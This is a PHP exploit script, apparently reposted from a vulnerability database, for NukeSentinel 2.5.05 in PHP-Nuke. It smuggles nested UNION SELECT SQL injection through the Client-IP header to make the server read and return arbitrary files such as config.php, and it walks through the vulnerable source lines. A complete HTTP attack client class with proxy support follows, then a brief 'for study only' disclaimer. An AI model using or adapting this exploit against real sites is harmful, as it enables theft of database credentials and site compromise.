#!/usr/bin/php <?php error_reporting(E_ALL ^ E_NOTICE); # Module\'s Description: # Advanced site security proudly produced by: NukeScripts Network, Raven PHPScripts, & NukeResources. # ... IS IT A JOKE ?! # # SQL Injection --> File Disclosure # Maybe work on other versions. # Interesting exploit =) # if($argc < 5) { print(\" NukeSentinel 2.5.05 (nukesentinel.php) File Disclosure Exploit ------------------------------------------------------------------ PHP conditions: none CMS conditions: disable_switch<=0 (module activated) Credits: DarkFig <gmdarkfig@gmail.com> URL: http://www.acid-root.new.fr/ ------------------------------------------------------------------ Usage: $argv[0] -url <url> -file <file> [Options] Example: $argv[0] -url http://www.victim.com/ -file config.php Options: -proxy If you wanna use a proxy <proxyhost:proxyport> -proxyauth Basic authentification <proxyuser:proxypwd> ------------------------------------------------------------------ \"); exit(1); } $url = getparam(\'url\',1); # http://localhost/php-nuke-7.9/html/ $file = getparam(\'file\',1); # config.php, admin/.htaccess $proxy = getparam(\'proxy\'); $authp = getparam(\'proxyauth\'); $xpl = new phpsploit(); $xpl->agent(\"Mozilla Firefox\"); if($proxy) $xpl->proxy($proxy); if($authp) $xpl->proxyauth($authp); # +nukesentinel.php # # 52. $nsnst_const[\'server_ip\'] = get_server_ip(); # 53. $nsnst_const[\'client_ip\'] = get_client_ip(); # 54. $nsnst_const[\'forward_ip\'] = get_x_forwarded(); # 55. $nsnst_const[\'remote_addr\'] = get_remote_addr(); # 56. $nsnst_const[\'remote_ip\'] = get_ip(); // If $nsnst_const[\'client_ip\'] return it, elseif $nsnst_const[\'forward_ip\'] return it ... # # # $xpl->addheader(\"Client-IP\",\"<something>255.255.255.255<something>\"); # | # 73. if(!ereg(\"([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\", $nsnst_const[\'client_ip\'])) {$nsnst_const[\'client_ip\'] = \"none\"; } # 74. if(!ereg(\"([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\", $nsnst_const[\'forward_ip\'])) {$nsnst_const[\'forward_ip\'] = \"none\"; } # 75. if(!ereg(\"([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\", $nsnst_const[\'remote_ip\'])) {$nsnst_const[\'remote_ip\'] = \"none\"; } # 76. if(!ereg(\"([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\\.([0-9]{1,3})\", $nsnst_const[\'remote_addr\'])) {$nsnst_const[\'remote_addr\'] = \"none\"; } # # # 221. // Check if ip is blocked # 222. $blocked_row = abget_blocked($nsnst_const[\'remote_ip\']); # 223. if($blocked_row) { blocked($blocked_row);} # # # $xpl->addheader(\"Client-IP\",\"\' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#255.255.255.255\"); # | # 723. function abget_blocked($remoteip) { # 724. global $prefix, $db; # 725. $ip = explode(\".\", $remoteip); # 726. $testip1 = \"$ip[0].*.*.*\"; // \' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#255.*.*.* # 727. $testip2 = \"$ip[0].$ip[1].*.*\"; // \' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#255.255.*.* # 728. $testip3 = \"$ip[0].$ip[1].$ip[2].*\"; // \' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#255.255.255.* # 729. $testip4 = \"$ip[0].$ip[1].$ip[2].$ip[3]\"; // \' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18#255.255.255.255 # 730. $blocked_result = $db->sql_query(\"SELECT * FROM `\".$prefix.\"_nsnst_blocked_ips` WHERE `ip_addr` = \'$testip1\' OR `ip_addr` = \'$testip2\' OR `ip_addr` = \'$testip3\' OR `ip_addr` = \'$testip4\'\"); # 731. $blocked_row = $db->sql_fetchrow($blocked_result); # 732. return $blocked_row; # 733. } # # # 1044. function blocked($blocked_row=\"\", $blocker_row=\"\") { # 1050. if(empty($blocker_row)) { $blocker_row = abget_blockerrow($blocked_row[\'reason\']); } // $blocked_row[\'reason\'] ... 6,7,--->8<---,9 # # # $xpl->addheader(\"Client-IP\",\"\' UNION SELECT 1,2,3,4,5,6,7,\".mysqlchar(\' UNION SELECT -666,2,3,4,5,6,7,\'../config.php\',9,10,11 ORDER BY blocker #).\",9,10,11,12,13,14,15,16,17,18#255.255.255.255\"); # | # 750. function abget_blockerrow($reason){ # 751. global $prefix, $db; # 752. $blockerresult = $db->sql_query(\"SELECT * FROM `\".$prefix.\"_nsnst_blockers` WHERE `blocker`=\'$reason\'\"); // + \' UNION SELECT -666,2,3,4,5,6,7,\'../config.php\',9,10,11 ORDER BY blocker # # 753. $blocker_row = $db->sql_fetchrow($blockerresult); # 754. return $blocker_row; # 755. } # # # 1044. function blocked($blocked_row=\"\", $blocker_row=\"\") { # 1056. $display_page = abget_template($blocker_row[\'template\']); // $blocker_row[\'template\'] ... 6,7,--->\'../config.php\'<---,9 # # # 1004. function abget_template($template=\"\") { # 1013. $filename = \"abuse/\".$template; // $template = ../config.php # 1014. if(!file_exists($filename)) { $filename = \"abuse/abuse_default.tpl\"; } # 1015. $handle = @fopen($filename, \"r\"); # 1016. $display_page = fread($handle, filesize($filename)); # 1017. @fclose($handle); # 1041. return $display_page; # 1042. } # # Interesting isn\'t it ? :] # $sql = \"\' UNION SELECT 1,2,3,4,5,6,7,\" .mysqlchar(\"\' UNION SELECT -666,2,3,4,5,6,7,\'../$file\',9,10,11 ORDER BY blocker #\") .\",9,10,11,12,13,14,15,16,17,18#255.255.255.255\"; $xpl->addheader(\"Client-IP\",$sql); $xpl->get($url.\'index.php\'); print $xpl->getcontent(); function mysqlchar($data) { $char=\'CHAR(\'; for($i=0;$i<strlen($data);$i++) { $char .= ord($data[$i]); if($i != (strlen($data)-1)) $char .= \',\'; } return $char.\')\'; } function getparam($param,$opt=\'\') { global $argv; foreach($argv as $value => $key) { if($key == \'-\'.$param) return $argv[$value+1]; } if($opt) exit(\" #3 -$param parameter required\"); else return; } /* * * Copyright (C) darkfig * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. * * TITLE: PhpSploit Class * REQUIREMENTS: PHP 5 (remove \"private\", \"public\" if you have PHP 4) * VERSION: 1.2 * LICENSE: GNU General Public License * ORIGINAL URL: http://www.acid-root.new.fr/tools/03061230.txt * FILENAME: phpsploitclass.php * * CONTACT: gmdarkfig@gmail.com (french / english) * GREETZ: Sparah, Ddx39 * * DESCRIPTION: * The phpsploit is a class implementing a web user agent. * You can add cookies, headers, use a proxy server with (or without) a * basic authentification. It supports the GET and the POST method. It can * also be used like a browser with the cookiejar() function (which allow * a server to add several cookies for the next requests) and the * allowredirection() function (which allow the script to follow all * redirections sent by the server). It can return the content (or the * headers) of the request. Others useful functions can be used for debugging. * A manual is actually in development but to know how to use it, you can * read the comments. * * CHANGELOG: * [2007-01-24] (1.2) * * Bug #2 fixed: Problem concerning the getcookie() function ((|;)) * * New: multipart/form-data enctype is now supported * * [2006-12-31] (1.1) * * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug) * * New: You can now call the getheader() / getcontent() function without parameters * * [2006-12-30] (1.0) * * First version * */ class phpsploit { /** * This function is called by the get()/post() functions. * You don\'t have to call it, this is the main function. * * @return $server_response */ private function sock() { if(!empty($this->proxyhost) && !empty($this->proxyport)) $socket = fsockopen($this->proxyhost,$this->proxyport); else $socket = fsockopen($this->host,$this->port); if(!$socket) die(\"Error: The host doesn\'t exist\"); if($this->method===\"get\") $this->packet = \"GET \".$this->url.\" HTTP/1.1 \"; elseif($this->method===\"post\" or $this->method===\"formdata\") $this->packet = \"POST \".$this->url. \" HTTP/1.1 \"; else die(\"Error: Invalid method\"); if(!empty($this->proxyuser)) $this->packet .= \"Proxy-Authorization: Basic \".base64_encode($this->proxyuser.\":\".$this->proxypass).\" \"; $this->packet .= \"Host: \".$this->host.\" \"; if(!empty($this->agent)) $this->packet .= \"User-Agent: \".$this->agent.\" \"; if(!empty($this->header)) $this->packet .= $this->header.\" \"; if(!empty($this->cookie)) $this->packet .= \"Cookie: \".$this->cookie.\" \"; $this->packet .= \"Connection: Close \"; if($this->method===\"post\") { $this->packet .= \"Content-Type: application/x-www-form-urlencoded \"; $this->packet .= \"Content-Length: \".strlen($this->data).\" \"; $this->packet .= $this->data.\" \"; } elseif($this->method===\"formdata\") { $this->packet .= \"Content-Type: multipart/form-data; boundary=---------------------------\".$this->boundary.\" \"; $this->packet .= \"Content-Length: \".strlen($this->data).\" \"; $this->packet .= $this->data; } $this->packet .= \" \"; $this->recv = \'\'; fputs($socket,$this->packet); while(!feof($socket)) $this->recv .= fgets($socket); fclose($socket); if($this->cookiejar) $this->cookiejar($this->getheader($this->recv)); if($this->allowredirection) return $this->allowredirection($this->recv); else return $this->recv; } /** * This function allows you to add several cookie in the * request. Several methods are supported: * * $this->addcookie(\"name\",\"value\"); * or * $this->addcookie(\"name=newvalue\"); * or * $this->addcookie(\"othername=overvalue; xx=zz; y=u\"); * * @param string $cookiename * @param string $cookievalue * */ public function addcookie($cookn,$cookv=\'\') { // $this->addcookie(\"name\",\"value\"); work avec replace if(!empty($cookv)) { if($cookv === \"deleted\") $cookv=\'\'; // cookiejar(1) && Set-Cookie: name=delete if(!empty($this->cookie)) { if(preg_match(\"/$cookn=/\",$this->cookie)) { $this->cookie = preg_replace(\"/$cookn=(S*);/\",\"$cookn=$cookv;\",$this->cookie); } else { $this->cookie .= \" \".$cookn.\"=\".$cookv.\";\"; // \" \". } } else { $this->cookie = $cookn.\"=\".$cookv.\";\"; } } // $this->addcookie(\"name=value; othername=othervalue\"); else { if(!empty($this->cookie)) { $cookn = preg_replace(\"/(.*);$/\",\"$1\",$cookn); $cookarr = explode(\";\",str_replace(\" \", \"\",$cookn)); for($i=0;$i<count($cookarr);$i++) { preg_match(\"/(S*)=(S*)/\",$cookarr[$i],$matches); $cookn = $matches[1]; $cookv = $matches[2]; $this->addcookie($cookn,$cookv); } } else { $cookn = ((substr($cookn,(strlen($cookn)-1),1))===\";\") ? $cookn : $cookn.\";\"; $this->cookie = $cookn; } } } /** * This function allows you to add several headers in the * request. Several methods are supported: * * $this->addheader(\"headername\",\"headervalue\"); * or * $this->addheader(\"headername: headervalue\"); * * @param string $headername * @param string $headervalue */ public function addheader($headern,$headervalue=\'\') { // $this->addheader(\"name\",\"value\"); if(!empty($headervalue)) { if(!empty($this->header)) { if(preg_match(\"/$headern:/\",$this->header)) { $this->header = preg_replace(\"/$headern: (S*)/\",\"$headern: $headervalue\",$this->header); } else { $this->header .= \" \".$headern.\": \".$headervalue; } } else { $this->header=$headern.\": \".$headervalue; } } // $this->addheader(\"name: value\"); else { if(!empty($this->header)) { $headarr = explode(\": \",$headern); $headern = $headarr[0]; $headerv = $headarr[1]; $this->addheader($headern,$headerv); } else { $this->header=$headern; } } } /** * This function allows you to use an http proxy server. * Several methods are supported: * * $this->proxy(\"proxyip\",\"8118\"); * or * $this->proxy(\"proxyip:8118\") * * @param string $proxyhost * @param integer $proxyport */ public function proxy($proxy,$proxyp=\'\') { // $this->proxy(\"localhost:8118\"); if(empty($proxyp)) { preg_match(\"/^(S*):(d+)$/\",$proxy,$proxarr); $proxh = $proxarr[1]; $proxp = $proxarr[2]; $this->proxyhost=$proxh; $this->proxyport=$proxp; } // $this->proxy(\"localhost\",8118); else { $this->proxyhost=$proxy; $this->proxyport=intval($proxyp); } if($this->proxyport > 65535) die(\"Error: Invalid port number\"); } /** * This function allows you to use an http proxy server * which requires a basic authentification. Several * methods are supported: * * $this->proxyauth(\"darkfig\",\"dapasswd\"); * or * $this->proxyauth(\"darkfig:dapasswd\"); * * @param string $proxyuser * @param string $proxypass */ public function proxyauth($proxyauth,$proxypasse=\'\') { // $this->proxyauth(\"darkfig:password\"); if(empty($proxypasse)) { preg_match(\"/^(.*):(.*)$/\",$proxyauth,$proxautharr); $proxu = $proxautharr[1]; $proxp = $proxautharr[2]; $this->proxyuser=$proxu; $this->proxypass=$proxp; } // $this->proxyauth(\"darkfig\",\"password\"); else { $this->proxyuser=$proxyauth; $this->proxypass=$proxypasse; } } /** * This function allows you to set the \"User-Agent\" header. * Several methods are possible to do that: * * $this->agent(\"Mozilla Firefox\"); * or * $this->addheader(\"User-Agent: Mozilla Firefox\"); * or * $this->addheader(\"User-Agent\",\"Mozilla Firefox\"); * * @param string $useragent */ public function agent($useragent) { $this->agent=$useragent; } /** * This function returns the header which will be * in the next request. * * $this->showheader(); * * @return $header */ public function showheader() { return $this->header; } /** * This function returns the cookie which will be * in the next request. * * $this->showcookie(); * * @return $storedcookies */ public function showcookie() { return $this->cookie; } /** * This function returns the last formed * http request (the http packet). * * $this->showlastrequest(); * * @return $last_http_request */ public function showlastrequest() { return $this->packet; } /** * This function sends the formed http packet with the * GET method. You can precise the port of the host. * * $this->get(\"http://localhost\"); * $this->get(\"http://localhost:888/xd/tst.php\"); * * @param string $urlwithpath * @return $server_response */ public function get($url) { $this->target($url); $this->method=\"get\"; return $this->sock(); } /** * This function sends the formed http packet with the * POST method. You can precise the port of the host. * * $this->post(\"http://localhost/index.php\",\"admin=1&user=dark\"); * * @param string $urlwithpath * @param string $postdata * @return $server_response */ public function post($url,$data) { $this->target($url); $this->method=\"post\"; $this->data=$data; return $this->sock(); } /** * This function sends the formed http packet with the * POST method using the multipart/form-data enctype. * * $array = array( * frmdt_url => \"http://localhost/upload.php\", * frmdt_boundary => \"123456\", # Optional * \"email\" => \"me@u.com\", * \"varname\" => array( * frmdt_type => \"image/gif\", # Optional * frmdt_transfert => \"binary\", # Optional * frmdt_filename => \"hello.php\", * frmdt_content => \"<?php echo \':)\'; ?>\")); * $this->formdata($array); * * @param array $array * @return $server_response */ public function formdata($array) { $this->target($array[frmdt_url]); $this->method=\"formdata\"; $this->data=\'\'; if(!isset($array[frmdt_boundary])) $this->boundary=\"phpsploit\"; else $this->boundary=$array[frmdt_boundary]; foreach($array as $key => $value) { if(!preg_match(\"#^frmdt_(boundary|url)#\",$key)) { $this->data .= \"-----------------------------\".$this->boundary.\" \"; $this->data .= \"Content-Disposition: form-data; name=\"\".$key.\"\";\"; if(!is_array($value)) { $this->data .= \" \".$value.\" \"; } else { $this->data .= \" filename=\"\".$array[$key][frmdt_filename].\"\"; \"; if(isset($array[$key][frmdt_type])) $this->data .= \"Content-Type: \".$array[$key][frmdt_type].\" \"; if(isset($array[$key][frmdt_transfert])) $this->data .= \"Content-Transfer-Encoding: \".$array[$key][frmdt_transfert].\" \"; $this->data .= \" \".$array[$key][frmdt_content].\" \"; } } } $this->data .= \"-----------------------------\".$this->boundary.\"-- \"; return $this->sock(); } /** * This function returns the content of the server response * without the headers. * * $this->getcontent($this->get(\"http://localhost/\")); * or * $this->getcontent(); * * @param string $server_response * @return $onlythecontent */ public function getcontent($code=\'\') { if(empty($code)) $code = $this->recv; $content = explode(\" \",$code); $onlycode = \'\'; for($i=1;$i<count($content);$i++) { if(!preg_match(\"/^(S*):/\",$content[$i])) $ok = 1; if($ok) $onlycode .= $content[$i].\" \"; } return $onlycode; } /** * This function returns the headers of the server response * without the content. * * $this->getheader($this->post(\"http://localhost/x.php\",\"x=1&z=2\")); * or * $this->getheader(); * * @param string $server_response * @return $onlytheheaders */ public function getheader($code=\'\') { if(empty($code)) $code = $this->recv; $header = explode(\" \",$code); $onlyheader = $header[0].\" \"; for($i=1;$i<count($header);$i++) { if(!preg_match(\"/^(S*):/\",$header[$i])) break; $onlyheader .= $header[$i].\" \"; } return $onlyheader; } /** * This function is called by the cookiejar() function. * It adds the value of the \"Set-Cookie\" header in the \"Cookie\" * header for the next request. You don\'t have to call it. * * @param string $server_response */ private function getcookie($code) { $carr = explode(\" \",str_replace(\" \",\" \",$code)); for($z=0;$z<count($carr);$z++) { if(preg_match(\"/set-cookie: (.*)/i\",$carr[$z],$cookarr)) { $cookie[] = preg_replace(\"/expires=(.*)(GMT||UTC)(S*)$/i\",\"\",preg_replace(\"/path=(.*)/i\",\"\",$cookarr[1])); } } for($i=0;$i<count($cookie);$i++) { preg_match(\"/(S*)=(S*)(|;)/\",$cookie[$i],$matches); $cookn = $matches[1]; $cookv = $matches[2]; $this->addcookie($cookn,$cookv); } } /** * This function is called by the get()/post() functions. * You don\'t have to call it. * * @param string $urltarg */ private function target($urltarg) { if(!preg_match(\"/^http://(.*)//\",$urltarg)) $urltarg .= \"/\"; $this->url=$urltarg; $array = explode(\"/\",str_replace(\"http://\",\"\",preg_replace(\"/:(d+)/\",\"\",$urltarg))); $this->host=$array[0]; preg_match(\"/:(d+)//\",$urltarg,$matches); $this->port=empty($matches[1]) ? 80 : $matches[1]; $temp = str_replace(\"http://\",\"\",preg_replace(\"/:(d+)/\",\"\",$urltarg)); preg_match(\"//(.*)//\",$temp,$matches); $this->path=str_replace(\"//\",\"/\",\"/\".$matches[1].\"/\"); if($this->port > 65535) die(\"Error: Invalid port number\"); } /** * If you call this function, the script will * extract all \"Set-Cookie\" headers values * and it will automatically add them into the \"Cookie\" header * for all next requests. * * $this->cookiejar(1); // enabled * $this->cookiejar(0); // disabled * */ public function cookiejar($code) { if($code===0) $this->cookiejar=\'\'; if($code===1) $this->cookiejar=1; else { $this->getcookie($code); } } /** * If you call this function, the script will * follow all redirections sent by the server. * * $this->allowredirection(1); // enabled * $this->allowredirection(0); // disabled * * @return $this->get($locationresponse) */ public function allowredirection($code) { if($code===0) $this->allowredirection=\'\'; if($code===1) $this->allowredirection=1; else { if(preg_match(\"/(location|content-location|uri): (.*)/i\",$code,$codearr)) { $location = str_replace(chr(13),\'\',$codearr[2]); if(!eregi(\"://\",$location)) { return $this->get(\"http://\".$this->host.$this->path.$location); } else { return $this->get($location); } } else { return $code; } } } /** * This function allows you to reset some parameters: * * $this->reset(header); // headers cleaned * $this->reset(cookie); // cookies cleaned * $this->reset(); // clean all parameters * * @param string $func */ public function reset($func=\'\') { switch($func) { case \"header\": $this->header=\'\'; break; case \"cookie\": $this->cookie=\'\'; break; default: $this->cookiejar=\'\'; $this->header=\'\'; $this->cookie=\'\'; $this->allowredirection=\'\'; $this->agent=\'\'; break; } } } ?>
※本站提供的任何内容、代码与服务仅供学习,请勿用于非法用途,否则后果自负
您的会员可兑换次数还剩:
次
本次兑换将消耗 1 次
续费请拨打客服热线,感谢您一直支持 Seebug!


暂无评论